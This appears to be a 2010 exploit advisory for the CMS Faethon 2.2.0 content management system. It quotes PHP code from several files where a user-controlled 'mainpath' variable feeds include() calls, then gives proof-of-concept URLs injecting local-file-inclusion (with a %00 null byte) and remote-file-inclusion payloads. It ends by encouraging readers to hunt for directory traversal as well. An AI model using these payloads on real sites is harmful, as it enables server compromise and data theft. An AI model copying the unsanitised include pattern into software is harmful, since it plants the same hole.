CmsFaethon 2.2.0 (ultimate.7z) – Multiple Vulnerabilities
##################################################################################### cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability ##################################################################################### [+]Vendor: CMS Faethon [+]Version: 2.2.0-ultimate.7z [+]License: GNU GENERAL PUBLIC LICENSE [+]Download: http://sourceforge.net/projects/cmsfaethon/files/ [+]Risk: High [+]Remote: Yes [+]Local: Yes [+]Vulnerable: Since v1.12 CMS Faethon 1.3 (CMS Faethon 1.3-Ultimed to cmsfaethon-1.3.5-ultimate.7z) CMS Faethon 2.0 (cmsfaethon-2.0-ultimate.7 to CMS Faethon 2.0.5 Blog Edition ) CMS Faethon 2.2.0 Ultimate ########################################################### [+]Author: eidelweiss [+]Contact: eidelweiss[at]cyberservices[dot]com [+]Date: March 26 2010 (published march 27) [+]Thank`s: sp3x (securityreason) - JosS (hack0wn) - r0073r & 0x1D (inj3ct0r) [+]Special: [D]eal [C]yber - syabilla_putri (i miss u to) ########################################################### #################### -=[Description]=- CMS Faethon is content management system for different web pages. CMS Faethon 2.2 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. #################### -=[ VULN & =[P0C]= C0de ]=- #################### $File: admin/index.php #################### ***/ session_start(); $mainpath = "./"; include($mainpath .'../lib/functions_SQL.php'); include($mainpath .'../lib/functions_DATE.php'); include($mainpath .'../lib/class_multilang.php'); include($mainpath .'../lib/class_menu.php'); if($_GET['cmd'] != 'acp' || ($_GET['cmd'] == 'acp' && isset($_SESSION['auth_key']))) { include($mainpath .'header.php'); } else { include($mainpath .'config.php'); // possible Lfi here include($mainpath .'auth.php'); } #################### $File: mobile/index.php #################### require('../config.php'); include('../lang/'.$cfg['lang'].'.inc'); $mainpath = "./"; $title = "Titulní strana"; include($mainpath . 'header.php'); #################### $File: admin/articles/edit.php #################### if(!isset($_GET['cmd'])) { $mainpath = "../"; include($mainpath . '../lib/functions_SQL.php'); include($mainpath . 'header.php') ; -=[P0C]=- http://127.0.0.1/[cms_faethon_path]/admin/index.php?mainpath=[LFI]%00 http://127.0.0.1/[cms_faethon_path]/admin/articles/edit.php?mainpath=[RFI] http://127.0.0.1/[cms_faethon_path]/mobile/index.php?mainpath=[RFI] etc,etc,etc !!! so many vulnerability in this project (I also saw possibility Directory Traversal vulnerability , use your skill and play your imaginasion) ###########################################################=[E0F]=########################################################### |